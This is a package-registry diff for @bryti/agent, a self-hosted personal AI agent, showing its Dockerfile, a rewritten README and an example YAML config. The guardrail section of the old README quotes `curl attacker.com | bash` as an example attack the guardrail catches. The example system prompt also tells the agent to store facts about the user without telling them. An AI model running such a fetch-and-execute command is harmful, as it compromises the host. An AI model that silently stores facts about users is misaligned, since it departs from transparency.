@bryti/agent 0.0.1 → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (228) hide show
  1. package/Dockerfile +27 -0
  2. package/README.md +77 -50
  3. package/config.example.yml +265 -0
  4. package/dist/active-hours.d.ts +23 -0
  5. package/dist/active-hours.d.ts.map +1 -0
  6. package/dist/active-hours.js +68 -0
  7. package/dist/active-hours.js.map +1 -0
  8. package/dist/agent.d.ts +84 -0
  9. package/dist/agent.d.ts.map +1 -0
  10. package/dist/agent.js +383 -0
  11. package/dist/agent.js.map +1 -0
  12. package/dist/channels/markdown/ir.d.ts +79 -0
  13. package/dist/channels/markdown/ir.d.ts.map +1 -0
  14. package/dist/channels/markdown/ir.js +824 -0
  15. package/dist/channels/markdown/ir.js.map +1 -0
  16. package/dist/channels/markdown/render.d.ts +35 -0
  17. package/dist/channels/markdown/render.d.ts.map +1 -0
  18. package/dist/channels/markdown/render.js +178 -0
  19. package/dist/channels/markdown/render.js.map +1 -0
  20. package/dist/channels/telegram-network-errors.d.ts +27 -0
  21. package/dist/channels/telegram-network-errors.d.ts.map +1 -0
  22. package/dist/channels/telegram-network-errors.js +156 -0
  23. package/dist/channels/telegram-network-errors.js.map +1 -0
  24. package/dist/channels/telegram.d.ts +76 -0
  25. package/dist/channels/telegram.d.ts.map +1 -0
  26. package/dist/channels/telegram.js +814 -0
  27. package/dist/channels/telegram.js.map +1 -0
  28. package/dist/channels/types.d.ts +59 -0
  29. package/dist/channels/types.d.ts.map +1 -0
  30. package/dist/channels/types.js +9 -0
  31. package/dist/channels/types.js.map +1 -0
  32. package/dist/channels/whatsapp.d.ts +45 -0
  33. package/dist/channels/whatsapp.d.ts.map +1 -0
  34. package/dist/channels/whatsapp.js +310 -0
  35. package/dist/channels/whatsapp.js.map +1 -0
  36. package/dist/cli.d.ts +13 -0
  37. package/dist/cli.d.ts.map +1 -0
  38. package/dist/cli.js +635 -0
  39. package/dist/cli.js.map +1 -0
  40. package/dist/commands.d.ts +35 -0
  41. package/dist/commands.d.ts.map +1 -0
  42. package/dist/commands.js +113 -0
  43. package/dist/commands.js.map +1 -0
  44. package/dist/compaction/history.d.ts +17 -0
  45. package/dist/compaction/history.d.ts.map +1 -0
  46. package/dist/compaction/history.js +35 -0
  47. package/dist/compaction/history.js.map +1 -0
  48. package/dist/compaction/index.d.ts +3 -0
  49. package/dist/compaction/index.d.ts.map +1 -0
  50. package/dist/compaction/index.js +3 -0
  51. package/dist/compaction/index.js.map +1 -0
  52. package/dist/compaction/proactive.d.ts +25 -0
  53. package/dist/compaction/proactive.d.ts.map +1 -0
  54. package/dist/compaction/proactive.js +87 -0
  55. package/dist/compaction/proactive.js.map +1 -0
  56. package/dist/compaction/transcript-repair.d.ts +55 -0
  57. package/dist/compaction/transcript-repair.d.ts.map +1 -0
  58. package/dist/compaction/transcript-repair.js +215 -0
  59. package/dist/compaction/transcript-repair.js.map +1 -0
  60. package/dist/config.d.ts +128 -0
  61. package/dist/config.d.ts.map +1 -0
  62. package/dist/config.js +317 -0
  63. package/dist/config.js.map +1 -0
  64. package/dist/crash-recovery.d.ts +23 -0
  65. package/dist/crash-recovery.d.ts.map +1 -0
  66. package/dist/crash-recovery.js +96 -0
  67. package/dist/crash-recovery.js.map +1 -0
  68. package/dist/defaults/extensions/EXTENSIONS.md +158 -0
  69. package/dist/defaults/extensions/documents-hedgedoc.ts +153 -0
  70. package/dist/history.d.ts +31 -0
  71. package/dist/history.d.ts.map +1 -0
  72. package/dist/history.js +49 -0
  73. package/dist/history.js.map +1 -0
  74. package/dist/index.d.ts +19 -0
  75. package/dist/index.d.ts.map +1 -0
  76. package/dist/index.js +673 -0
  77. package/dist/index.js.map +1 -0
  78. package/dist/logger.d.ts +39 -0
  79. package/dist/logger.d.ts.map +1 -0
  80. package/dist/logger.js +143 -0
  81. package/dist/logger.js.map +1 -0
  82. package/dist/memory/conversation-search.d.ts +15 -0
  83. package/dist/memory/conversation-search.d.ts.map +1 -0
  84. package/dist/memory/conversation-search.js +60 -0
  85. package/dist/memory/conversation-search.js.map +1 -0
  86. package/dist/memory/core-memory.d.ts +28 -0
  87. package/dist/memory/core-memory.d.ts.map +1 -0
  88. package/dist/memory/core-memory.js +102 -0
  89. package/dist/memory/core-memory.js.map +1 -0
  90. package/dist/memory/embeddings.d.ts +44 -0
  91. package/dist/memory/embeddings.d.ts.map +1 -0
  92. package/dist/memory/embeddings.js +139 -0
  93. package/dist/memory/embeddings.js.map +1 -0
  94. package/dist/memory/search.d.ts +49 -0
  95. package/dist/memory/search.d.ts.map +1 -0
  96. package/dist/memory/search.js +97 -0
  97. package/dist/memory/search.js.map +1 -0
  98. package/dist/memory/store.d.ts +32 -0
  99. package/dist/memory/store.d.ts.map +1 -0
  100. package/dist/memory/store.js +205 -0
  101. package/dist/memory/store.js.map +1 -0
  102. package/dist/message-queue.d.ts +73 -0
  103. package/dist/message-queue.d.ts.map +1 -0
  104. package/dist/message-queue.js +188 -0
  105. package/dist/message-queue.js.map +1 -0
  106. package/dist/model-infra.d.ts +64 -0
  107. package/dist/model-infra.d.ts.map +1 -0
  108. package/dist/model-infra.js +202 -0
  109. package/dist/model-infra.js.map +1 -0
  110. package/dist/projection/format.d.ts +10 -0
  111. package/dist/projection/format.d.ts.map +1 -0
  112. package/dist/projection/format.js +30 -0
  113. package/dist/projection/format.js.map +1 -0
  114. package/dist/projection/index.d.ts +11 -0
  115. package/dist/projection/index.d.ts.map +1 -0
  116. package/dist/projection/index.js +9 -0
  117. package/dist/projection/index.js.map +1 -0
  118. package/dist/projection/reflection.d.ts +94 -0
  119. package/dist/projection/reflection.d.ts.map +1 -0
  120. package/dist/projection/reflection.js +334 -0
  121. package/dist/projection/reflection.js.map +1 -0
  122. package/dist/projection/store.d.ts +144 -0
  123. package/dist/projection/store.d.ts.map +1 -0
  124. package/dist/projection/store.js +519 -0
  125. package/dist/projection/store.js.map +1 -0
  126. package/dist/projection/tools.d.ts +11 -0
  127. package/dist/projection/tools.d.ts.map +1 -0
  128. package/dist/projection/tools.js +237 -0
  129. package/dist/projection/tools.js.map +1 -0
  130. package/dist/scheduler.d.ts +36 -0
  131. package/dist/scheduler.d.ts.map +1 -0
  132. package/dist/scheduler.js +286 -0
  133. package/dist/scheduler.js.map +1 -0
  134. package/dist/system-prompt.d.ts +41 -0
  135. package/dist/system-prompt.d.ts.map +1 -0
  136. package/dist/system-prompt.js +162 -0
  137. package/dist/system-prompt.js.map +1 -0
  138. package/dist/time.d.ts +52 -0
  139. package/dist/time.d.ts.map +1 -0
  140. package/dist/time.js +138 -0
  141. package/dist/time.js.map +1 -0
  142. package/dist/tools/archival-memory-tool.d.ts +8 -0
  143. package/dist/tools/archival-memory-tool.d.ts.map +1 -0
  144. package/dist/tools/archival-memory-tool.js +68 -0
  145. package/dist/tools/archival-memory-tool.js.map +1 -0
  146. package/dist/tools/conversation-search-tool.d.ts +6 -0
  147. package/dist/tools/conversation-search-tool.d.ts.map +1 -0
  148. package/dist/tools/conversation-search-tool.js +28 -0
  149. package/dist/tools/conversation-search-tool.js.map +1 -0
  150. package/dist/tools/core-memory-tool.d.ts +7 -0
  151. package/dist/tools/core-memory-tool.d.ts.map +1 -0
  152. package/dist/tools/core-memory-tool.js +59 -0
  153. package/dist/tools/core-memory-tool.js.map +1 -0
  154. package/dist/tools/fetch-url.d.ts +15 -0
  155. package/dist/tools/fetch-url.d.ts.map +1 -0
  156. package/dist/tools/fetch-url.js +76 -0
  157. package/dist/tools/fetch-url.js.map +1 -0
  158. package/dist/tools/files.d.ts +10 -0
  159. package/dist/tools/files.d.ts.map +1 -0
  160. package/dist/tools/files.js +127 -0
  161. package/dist/tools/files.js.map +1 -0
  162. package/dist/tools/index.d.ts +17 -0
  163. package/dist/tools/index.d.ts.map +1 -0
  164. package/dist/tools/index.js +118 -0
  165. package/dist/tools/index.js.map +1 -0
  166. package/dist/tools/result.d.ts +21 -0
  167. package/dist/tools/result.d.ts.map +1 -0
  168. package/dist/tools/result.js +36 -0
  169. package/dist/tools/result.js.map +1 -0
  170. package/dist/tools/skill-install.d.ts +17 -0
  171. package/dist/tools/skill-install.d.ts.map +1 -0
  172. package/dist/tools/skill-install.js +148 -0
  173. package/dist/tools/skill-install.js.map +1 -0
  174. package/dist/tools/web-search.d.ts +42 -0
  175. package/dist/tools/web-search.d.ts.map +1 -0
  176. package/dist/tools/web-search.js +237 -0
  177. package/dist/tools/web-search.js.map +1 -0
  178. package/dist/trust/guardrail.d.ts +60 -0
  179. package/dist/trust/guardrail.d.ts.map +1 -0
  180. package/dist/trust/guardrail.js +171 -0
  181. package/dist/trust/guardrail.js.map +1 -0
  182. package/dist/trust/index.d.ts +12 -0
  183. package/dist/trust/index.d.ts.map +1 -0
  184. package/dist/trust/index.js +12 -0
  185. package/dist/trust/index.js.map +1 -0
  186. package/dist/trust/store.d.ts +118 -0
  187. package/dist/trust/store.d.ts.map +1 -0
  188. package/dist/trust/store.js +209 -0
  189. package/dist/trust/store.js.map +1 -0
  190. package/dist/trust/wrapper.d.ts +36 -0
  191. package/dist/trust/wrapper.d.ts.map +1 -0
  192. package/dist/trust/wrapper.js +142 -0
  193. package/dist/trust/wrapper.js.map +1 -0
  194. package/dist/usage.d.ts +53 -0
  195. package/dist/usage.d.ts.map +1 -0
  196. package/dist/usage.js +124 -0
  197. package/dist/usage.js.map +1 -0
  198. package/dist/util/math.d.ts +9 -0
  199. package/dist/util/math.d.ts.map +1 -0
  200. package/dist/util/math.js +22 -0
  201. package/dist/util/math.js.map +1 -0
  202. package/dist/util/ssrf.d.ts +21 -0
  203. package/dist/util/ssrf.d.ts.map +1 -0
  204. package/dist/util/ssrf.js +77 -0
  205. package/dist/util/ssrf.js.map +1 -0
  206. package/dist/workers/index.d.ts +8 -0
  207. package/dist/workers/index.d.ts.map +1 -0
  208. package/dist/workers/index.js +7 -0
  209. package/dist/workers/index.js.map +1 -0
  210. package/dist/workers/registry.d.ts +53 -0
  211. package/dist/workers/registry.d.ts.map +1 -0
  212. package/dist/workers/registry.js +38 -0
  213. package/dist/workers/registry.js.map +1 -0
  214. package/dist/workers/scoped-tools.d.ts +21 -0
  215. package/dist/workers/scoped-tools.d.ts.map +1 -0
  216. package/dist/workers/scoped-tools.js +111 -0
  217. package/dist/workers/scoped-tools.js.map +1 -0
  218. package/dist/workers/spawn.d.ts +62 -0
  219. package/dist/workers/spawn.d.ts.map +1 -0
  220. package/dist/workers/spawn.js +314 -0
  221. package/dist/workers/spawn.js.map +1 -0
  222. package/dist/workers/tools.d.ts +26 -0
  223. package/dist/workers/tools.d.ts.map +1 -0
  224. package/dist/workers/tools.js +380 -0
  225. package/dist/workers/tools.js.map +1 -0
  226. package/docker-compose.yml +72 -0
  227. package/package.json +16 -1
  228. package/run.sh +27 -0
package/Dockerfile ADDED
@@ -0,0 +1,27 @@
1
+ # Stage 1: Build
2
+ FROM node:22-alpine AS builder
3
+ WORKDIR /app
4
+ COPY package.json package-lock.json ./
5
+ RUN npm ci
6
+ COPY tsconfig.json ./
7
+ COPY src ./src
8
+ RUN npm run build
9
+
10
+ # Stage 2: Runtime
11
+ FROM node:22-alpine
12
+ WORKDIR /app
13
+ COPY --from=builder /app/dist ./dist
14
+ COPY --from=builder /app/node_modules ./node_modules
15
+ COPY package.json ./
16
+
17
+ # Create non-root user
18
+ RUN addgroup -g 1000 -S bryti && \
19
+ adduser -u 1000 -S bryti -G bryti
20
+ USER bryti
21
+
22
+ # Data directory (config, memory, sessions, logs) is a volume mount.
23
+ # The embedding model downloads here on first run (~300MB).
24
+ VOLUME /data
25
+ ENV BRYTI_DATA_DIR=/data
26
+
27
+ CMD ["node", "dist/index.js"]
package/README.md CHANGED
@@ -1,39 +1,41 @@
1
1
  # Bryti
2
2
 
3
- Your AI colleague, in the apps you already use.
3
+ [![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue.svg)](LICENSE)
4
+ [![Node.js 22+](https://img.shields.io/badge/node-22%2B-brightgreen.svg)](https://nodejs.org/)
5
+ [![Built on pi](https://img.shields.io/badge/built%20on-pi%20SDK-purple.svg)](https://github.com/mariozechner/pi)
6
+ [![Self-hosted](https://img.shields.io/badge/self--hosted-yes-orange.svg)](#getting-started)
7
+ [![Codebase size](repo-tokens/badge.svg)](#architecture)
4
8
 
5
- Bryti is a personal AI agent that lives in Telegram and WhatsApp. It remembers everything, tracks what's coming, runs background research, and writes its own tools when it needs new ones.
9
+ Your AI colleague, in the apps you already use.
6
10
 
7
- Named after the Old Norse *bryti*: the estate steward who handled the day-to-day so you could focus on what mattered.
11
+ Bryti is a personal AI agent that lives in Telegram and WhatsApp. It remembers what you tell it, tracks what's coming up, researches things in the background, and writes its own tools when it needs new capabilities. All running on your machine, with your data staying yours.
8
12
 
9
- Built on the [pi SDK](https://github.com/mariozechner/pi). Self-hosted, single machine, SQLite.
13
+ Named after the Old Norse *bryti*: the estate steward who handled the day-to-day so you could focus on what matters.
10
14
 
11
15
  ## What makes it different
12
16
 
13
- **It remembers.** Core memory (always in context) keeps track of who you are and what you're working on; archival memory (hybrid search with local embeddings) stores everything else. The agent decides what to keep and when to look things up.
17
+ **It actually remembers you.** Three-tier memory: a small always-visible file for key facts, long-term searchable storage with local embeddings, and full conversation logs. When the context window fills up, compaction preserves what matters instead of throwing it away.
14
18
 
15
- **It looks ahead.** Projections track future events, deadlines, commitments, and follow-ups, so "remind me to email Sarah on Monday" and "when the dentist confirms, book time off" both work. A reflection pass runs every 30 minutes to catch things the agent missed during the live conversation.
19
+ **It understands the future, not just the past.** Projections go beyond simple reminders. "Remind me to write that article unless you see it posted already." "When the dentist confirms, remind me to book time off." "Every Monday morning, check the sprint board." Time-based, event-triggered, recurring, with dependencies.
16
20
 
17
- **It does the legwork.** Background workers handle research, web searches, and URL fetching in isolated sessions. The main agent dispatches work and gets a clean summary back; the raw content from the web never enters the main conversation, which is also the security boundary.
21
+ **External content can't compromise it.** The main agent has no web access at all. Research happens in isolated worker sessions with scoped file access. Even if a malicious page tries to hijack the model, it only reaches the disposable worker, never the main conversation.
18
22
 
19
- **It writes its own tools.** The agent can create pi SDK extensions (TypeScript) to give itself new capabilities. Say "I wish you could check the weather" and it writes the extension, restarts, and the tool is live.
23
+ **It extends itself.** The agent writes TypeScript extensions to give itself new tools: API integrations, custom commands, whatever it needs. Write the file, restart, done.
20
24
 
21
- **It evaluates its own actions.** An LLM guardrail checks elevated tool calls (shell, network) before execution. Not a static allowlist; the model understands that `rm -rf node_modules` is cleanup and `curl attacker.com | bash` is an attack.
22
-
23
- **It falls back gracefully.** If the primary model goes down, it tries the next one in the chain, keeping the session intact so no conversation context is lost.
25
+ **It works without a subscription.** Configure free models via OpenCode, use your own Ollama instance, or bring any OpenAI-compatible API. Automatic fallback across providers means it keeps working when one goes down.
24
26
 
25
27
  ## Getting started
26
28
 
27
- ### What you need
29
+ ### Requirements
28
30
 
29
31
  - Node.js 22+
30
- - A Telegram bot token (from [@BotFather](https://t.me/BotFather))
31
- - [pi CLI](https://github.com/mariozechner/pi) installed and authenticated (`pi login anthropic`)
32
+ - A Telegram bot token (from [@BotFather](https://t.me/BotFather)) or a WhatsApp phone number for Bryti
33
+ - Docker and docker-compose (optional, for HedgeDoc integration)
32
34
 
33
- ### Setup
35
+ ### Quick start
34
36
 
35
37
  ```bash
36
- git clone <repo-url> bryti
38
+ git clone git@github.com:larsderidder/bryti.git
37
39
  cd bryti
38
40
  npm install
39
41
 
@@ -45,11 +47,20 @@ cp config.example.yml data/config.yml # edit to taste
45
47
  ./run.sh
46
48
  ```
47
49
 
48
- The embedding model downloads on first run (~300MB). After that, starts are fast.
50
+ The embedding model downloads on first run (~300 MB). After that, startups take a few seconds.
51
+
52
+ ### Using Anthropic models through your Claude subscription
53
+
54
+ No API key needed. Install the [pi CLI](https://github.com/mariozechner/pi) and log in once:
55
+
56
+ ```bash
57
+ npm i -g @mariozechner/pi-coding-agent
58
+ pi login anthropic # opens browser, stores OAuth token locally
59
+ ```
49
60
 
50
- ### No Claude subscription?
61
+ ### Using free or open-source models only
51
62
 
52
- Use free models only:
63
+ No subscription, no API keys:
53
64
 
54
65
  ```yaml
55
66
  agent:
@@ -58,15 +69,21 @@ agent:
58
69
  - "opencode/kimi-k2.5-free"
59
70
  ```
60
71
 
61
- Remove the `anthropic` provider from `models.providers`. No API keys needed.
72
+ Remove the `anthropic` provider from `models.providers` in your config. See `config.example.yml` for more provider examples (OpenRouter, Google Gemini, Ollama, Together AI).
62
73
 
63
74
  ### Docker
64
75
 
65
76
  ```bash
77
+ cp .env.example .env # add your Telegram bot token
78
+ cp config.example.yml data/config.yml # edit to taste
66
79
  docker compose up -d
67
80
  ```
68
81
 
69
- Mount `data/` as a volume. Config, memory, sessions, and logs all live there. Backup = copy the directory.
82
+ The `data/` directory is mounted as a volume. Config, memory, sessions, and logs all live there. Backup = copy the directory. Logs are available via `docker compose logs -f`.
83
+
84
+ ### Why self-hosted?
85
+
86
+ Your conversations, memories, and personal data never leave your machine. No third-party servers, no vendor lock-in on the agent itself. You control which models to use, which providers to trust, and when to upgrade.
70
87
 
71
88
  ## How it works
72
89
 
@@ -74,15 +91,15 @@ Mount `data/` as a volume. Config, memory, sessions, and logs all live there. Ba
74
91
 
75
92
  Three tiers, managed automatically:
76
93
 
77
- 1. **Core memory** (`data/core-memory.md`): a small markdown file (4KB cap) that's always included in the model's context. Contains your preferences, ongoing projects, and key facts about you. The agent updates it as it learns.
94
+ 1. **Core memory** (`data/core-memory.md`): a small markdown file (4 KB cap) that's always in the model's context. Contains your preferences, ongoing projects, and key facts about you. The agent updates it as it learns.
78
95
 
79
- 2. **Archival memory** (per-user SQLite): long-term storage with hybrid search that combines FTS5 keyword matching and vector similarity (local embeddings via node-llama-cpp), fused with reciprocal rank fusion. No external API calls; all embedding runs locally. The agent inserts facts when it learns something and searches when it needs context.
96
+ 2. **Archival memory** (per-user SQLite): long-term storage with hybrid search combining FTS5 keyword matching and vector similarity (local embeddings via node-llama-cpp), fused with reciprocal rank fusion. No external API calls; all embedding runs on your machine. The agent inserts facts when it learns something and searches when it needs context.
80
97
 
81
- 3. **Conversation search**: full JSONL audit logs of every conversation, searchable by keyword. Useful when the agent needs to look up what you discussed last week, or when you want to find something specific from a past exchange.
98
+ 3. **Conversation search**: full JSONL audit logs of every conversation, searchable by keyword. Useful when the agent needs to look up what you discussed last week.
82
99
 
83
100
  ### Projections
84
101
 
85
- The forward-looking memory system. Instead of just remembering the past, bryti tracks what's coming:
102
+ The forward-looking memory system. Instead of just remembering the past, Bryti tracks what's coming:
86
103
 
87
104
  - **Exact-time**: "remind me at 3pm" fires at 3pm
88
105
  - **Day/week/month**: "follow up next week" resolves within that window
@@ -95,24 +112,37 @@ A reflection pass runs every 30 minutes, scanning recent conversation history fo
95
112
 
96
113
  ### Workers
97
114
 
98
- Stateless background sessions for long-running tasks. The main agent dispatches a worker with a goal; the worker runs independently (web search, URL fetching, analysis) and writes results to a file. When it finishes, a completion fact is archived, which triggers any matching projection so the main agent reads the summary and notifies you immediately rather than waiting for the next scheduler tick.
115
+ Background sessions for long-running tasks. The main agent dispatches a worker with a goal; the worker runs independently (web search, URL fetching, analysis) and writes results to a file. When it finishes, a completion fact is archived, which can trigger projections so the main agent reads the summary and notifies you right away.
99
116
 
100
- Workers are the security boundary. The main agent has no web search or URL fetch tools at all; external content is processed in isolation, and only the worker's cleaned-up result file enters the main conversation. This keeps prompt injection in web content from reaching the agent's context.
117
+ Workers are also the first security boundary. The main agent has no web search or URL fetch tools. External content is processed in isolation, and only the worker's cleaned-up result file enters the main conversation. This keeps prompt injection in web content from reaching the agent's context.
101
118
 
102
- Up to 3 concurrent workers, 60-minute timeout. Workers default to the cheapest model in the fallback chain so they don't burn your primary model's tokens on research tasks. You can steer a running worker mid-task with `worker_steer` to narrow focus, redirect research, or add requirements.
119
+ You can configure named worker types in `config.yml` with preset models, tools, and timeouts:
103
120
 
104
- ### Self-extending
121
+ ```yaml
122
+ workers:
123
+ types:
124
+ research:
125
+ description: "Web research and content gathering"
126
+ model: "anthropic/claude-sonnet-4-20250514"
127
+ tools: [web_search, fetch_url]
128
+ timeout_seconds: 3600
129
+ analysis:
130
+ description: "Deep analysis using a stronger model"
131
+ model: "anthropic/claude-sonnet-4-6"
132
+ tools: [fetch_url]
133
+ timeout_seconds: 1800
134
+ ```
105
135
 
106
- The agent writes TypeScript extension files to give itself new tools. Each extension registers tools with the pi SDK; after writing one the agent restarts, and the new tools are available immediately.
136
+ The agent selects a type when dispatching. Explicit parameters on the dispatch call still override type defaults. The agent can also define new types by editing `config.yml` and restarting.
107
137
 
108
- Extensions live in `data/files/extensions/`. An extension guide is included so the agent knows the template, parameter types, and conventions. An empty file acts as a tombstone, signaling the agent intentionally deleted an extension so it won't get reseeded on restart.
138
+ You can steer a running worker mid-task to narrow its focus or redirect its research.
109
139
 
110
140
  ### Guardrail
111
141
 
112
142
  Elevated tools (shell commands, HTTP requests, extension-loaded tools) go through two checks:
113
143
 
114
144
  1. **Tool-level approval**: is this tool allowed at all? First use requires your permission via inline buttons or text.
115
- 2. **Call-level evaluation**: an LLM call evaluates the specific arguments against what you asked for. ALLOW (execute silently), ASK (confirm with you), or BLOCK (reject). The prompt is small (~300 tokens in, ~20 out), so it uses the primary model for reliability without meaningful cost impact.
145
+ 2. **Call-level evaluation**: an LLM call evaluates the specific arguments against what you asked for, and decides whether to escalate. Like a call-based sudo. The prompt is small (~300 tokens in, ~20 out), so it uses the primary model for reliability without meaningful cost impact.
116
146
 
117
147
  Pre-approve tools in config to skip the first-use prompt:
118
148
 
@@ -123,11 +153,17 @@ trust:
123
153
  - http_request
124
154
  ```
125
155
 
156
+ ### Self-extending
157
+
158
+ The agent writes TypeScript extension files to give itself new tools, using the pi SDK extension format. Each extension registers tools with the SDK; after writing one the agent restarts, and the new tools are available immediately.
159
+
160
+ Extensions live in `data/files/extensions/`. An extension guide is included so the agent knows the template, parameter types, and conventions. An empty file acts as a tombstone, signaling the agent intentionally deleted an extension so it won't get reseeded on restart.
161
+
126
162
  ## Architecture
127
163
 
128
- ### Source layout
164
+ Bryti is intentionally simple, straightforward, and organized. You should be able to understand the code, and any component should be simple enough to read in a single sitting. If that's not the case, open an issue and I'll fix it.
129
165
 
130
- ~50 source files, ~10K lines.
166
+ ### Source layout
131
167
 
132
168
  ```
133
169
  src/
@@ -145,7 +181,7 @@ src/
145
181
  whatsapp.ts baileys bridge, QR auth, auto-reconnect
146
182
 
147
183
  memory/
148
- core-memory.ts always-in-context markdown file (4KB cap)
184
+ core-memory.ts always-in-context markdown file (4 KB cap)
149
185
  store.ts per-user SQLite with FTS5 + embeddings
150
186
  embeddings.ts local embeddings via node-llama-cpp
151
187
  search.ts hybrid keyword + vector search with RRF
@@ -183,25 +219,13 @@ src/
183
219
 
184
220
  ## Configuration
185
221
 
186
- `data/config.yml` controls everything. Copy `config.example.yml` to get started.
187
-
188
- **Agent**: name, system prompt additions, primary model, fallback models, timezone, reflection model.
189
-
190
- **Channels**: Telegram token + allowed user IDs. WhatsApp enable flag + allowed phone numbers. Both can run simultaneously.
191
-
192
- **Models**: providers with endpoints, API keys, and model definitions. Anthropic OAuth reads tokens from `~/.pi/agent/auth.json` (shared with pi CLI). Free models use `api_key: "public"`.
193
-
194
- **Tools**: SearXNG instance URL for worker web searches, max concurrent workers, file workspace path.
195
-
196
- **Scheduling**: static cron jobs, active hours window. Projection jobs (daily review, exact-time check, reflection) are automatic.
197
-
198
- **Integrations**: key-value pairs injected into `process.env` so extensions can pick them up. Convention: `integrations.hedgedoc.url` becomes `HEDGEDOC_URL`. Existing env vars are never overwritten.
222
+ `data/config.yml` controls everything. Copy `config.example.yml` to get started. The example file is heavily commented with all available options, provider examples, and integration patterns.
199
223
 
200
224
  Environment variables are supported via `${VAR}` syntax. The `.env` file loads automatically.
201
225
 
202
226
  ## CLI
203
227
 
204
- Operator tools for managing bryti without going through chat:
228
+ Operator tools for managing Bryti without going through chat:
205
229
 
206
230
  ```bash
207
231
  npm run cli -- help # all commands
@@ -212,9 +236,12 @@ npm run cli -- reflect # run reflection pass now
212
236
  npm run cli -- timeskip "dentist" --minutes 2 # make a projection fire in 2 min
213
237
  npm run cli -- archive-fact "dentist confirmed" # insert fact, trigger matching projections
214
238
  npm run cli -- fill-context --turns 20 # inject synthetic conversation for testing
215
- npm run cli -- import-openclaw # import memory from an OpenClaw instance
216
239
  ```
217
240
 
241
+ ## Contributing
242
+
243
+ Found a bug or have an idea? [Open an issue](https://github.com/larsderidder/bryti/issues). Pull requests welcome.
244
+
218
245
  ## License
219
246
 
220
247
  [AGPL-3.0](LICENSE)
@@ -0,0 +1,265 @@
1
+ # Bryti configuration
2
+ # Copy to data/config.yml and fill in your values.
3
+ # ${VAR} references are substituted from environment variables.
4
+
5
+ agent:
6
+ name: "Bryti"
7
+
8
+ # System prompt. Memory contents, tool listings, extensions, and projections
9
+ # are injected automatically; this is the behavioral core. Personal details
10
+ # about you are best shared in conversation; the agent stores them in core
11
+ # memory and keeps them across sessions.
12
+ system_prompt: |
13
+ You are Bryti, a personal AI assistant. You run on the pi agent framework
14
+ with persistent memory and tool-calling capabilities. You are concise,
15
+ practical, and honest about what you can and cannot do.
16
+
17
+ ## Your memory
18
+ Your core memory (shown below) persists across conversations. Update it when
19
+ you learn something worth keeping: user preferences, facts, ongoing projects,
20
+ recurring topics. Do this proactively without telling the user unless asked.
21
+
22
+ Archival memory is for details that don't need to be always visible but should
23
+ be searchable later.
24
+
25
+ ## Projection memory
26
+ Projections are your forward-looking memory. Store anything about the
27
+ future: appointments, deadlines, plans, reminders, commitments. Your
28
+ current projections are shown below; use `projection_list` to see more.
29
+
30
+ Guidelines:
31
+ - Store ALL items, even far-future ones. If unsure about timing, use
32
+ resolution "month" or "someday"
33
+ - Connect new information to existing projections when you see a link
34
+ - When the user postpones a discussion, create a separate projection for
35
+ each distinct topic being deferred
36
+ - ALWAYS populate the context field with keywords to search archival
37
+ memory with and a brief description of why this matters
38
+ - Before creating a projection, search archival memory first to find
39
+ existing relevant context. Note key terms in the context field so you
40
+ can find them again at activation time
41
+ - If you just discussed something worth projecting, archive the key
42
+ points first, then create the projection referencing what you archived
43
+ - When a projection activates, search archival memory for related context
44
+ before responding. Projections are the "what" and "when"; archival
45
+ memory holds the "why"
46
+
47
+ ## What you cannot do
48
+ - You cannot modify your own source code or core configuration
49
+ - You cannot access the internet directly. Use worker_dispatch for any
50
+ web research.
51
+
52
+ # Primary model. Format: provider/model-id
53
+ # Option 1: Anthropic OAuth (Claude Pro/Max subscription, no API key needed)
54
+ # Requires pi CLI login first: `pi login anthropic`
55
+ model: "anthropic/claude-sonnet-4-6"
56
+
57
+ # Tried in order when primary model fails
58
+ fallback_models:
59
+ - "opencode/minimax-m2.5-free"
60
+ - "opencode/kimi-k2.5-free"
61
+
62
+ # IANA timezone for projection scheduling and display
63
+ timezone: "Europe/Amsterdam"
64
+
65
+ # Model for the background reflection pass (defaults to primary model).
66
+ # Set a cheaper model here to save tokens on background work.
67
+ # reflection_model: "opencode/minimax-m2.5-free"
68
+
69
+ # ---------------------------------------------------------------------------
70
+ # Channels (enable at least one)
71
+ # ---------------------------------------------------------------------------
72
+
73
+ telegram:
74
+ token: ${TELEGRAM_BOT_TOKEN}
75
+ allowed_users: [] # Telegram user IDs. Empty = deny all. Add at least one.
76
+
77
+ # WhatsApp via baileys (no Meta Business API). QR code auth on first run.
78
+ # allowed_users: phone numbers in international format without + (e.g., 31612345678)
79
+ whatsapp:
80
+ enabled: false
81
+ allowed_users: []
82
+
83
+ # ---------------------------------------------------------------------------
84
+ # Model providers
85
+ # ---------------------------------------------------------------------------
86
+
87
+ models:
88
+ providers:
89
+ # context_window and max_tokens are optional on every model.
90
+ # Defaults: 200K context, 32K output. Only set them when a model differs.
91
+ # Only list the models you actually use in agent.model / fallback_models.
92
+
93
+ # Anthropic OAuth: uses your Claude Pro or Max subscription.
94
+ # No api_key needed; bryti reads the OAuth token from ~/.pi/agent/auth.json.
95
+ # One-time setup: install pi (`npm i -g @mariozechner/pi-coding-agent`)
96
+ # and run `pi login anthropic`. Opens a browser, token is stored locally.
97
+ - name: anthropic
98
+ base_url: ""
99
+ api: anthropic-messages
100
+ api_key: ""
101
+ models:
102
+ - id: "claude-sonnet-4-6"
103
+ context_window: 200000
104
+ max_tokens: 64000
105
+
106
+ # Free open models via opencode.ai (no subscription, no API key)
107
+ - name: opencode
108
+ base_url: https://opencode.ai/zen/v1
109
+ api: openai-responses
110
+ api_key: "public"
111
+ models:
112
+ - id: "minimax-m2.5-free"
113
+ name: "MiniMax M2.5 (Free)"
114
+ api: openai-completions
115
+ context_window: 200000
116
+ max_tokens: 32000
117
+ compat:
118
+ maxTokensField: max_tokens
119
+ - id: "kimi-k2.5-free"
120
+ name: "Kimi K2.5 (Free)"
121
+ api: openai-completions
122
+ context_window: 128000
123
+ max_tokens: 32000
124
+ compat:
125
+ maxTokensField: max_tokens
126
+
127
+ # --- More providers (uncomment and add your keys) ---
128
+
129
+ # Anthropic API key (alternative to OAuth above)
130
+ # - name: anthropic
131
+ # api: anthropic-messages
132
+ # api_key: ${ANTHROPIC_API_KEY}
133
+ # models:
134
+ # - id: "claude-sonnet-4-6"
135
+ # context_window: 200000
136
+ # max_tokens: 64000
137
+
138
+ # OpenRouter: access 200+ models with one API key
139
+ # - name: openrouter
140
+ # base_url: https://openrouter.ai/api/v1
141
+ # api_key: ${OPENROUTER_API_KEY}
142
+ # models:
143
+ # - id: "anthropic/claude-sonnet-4-6"
144
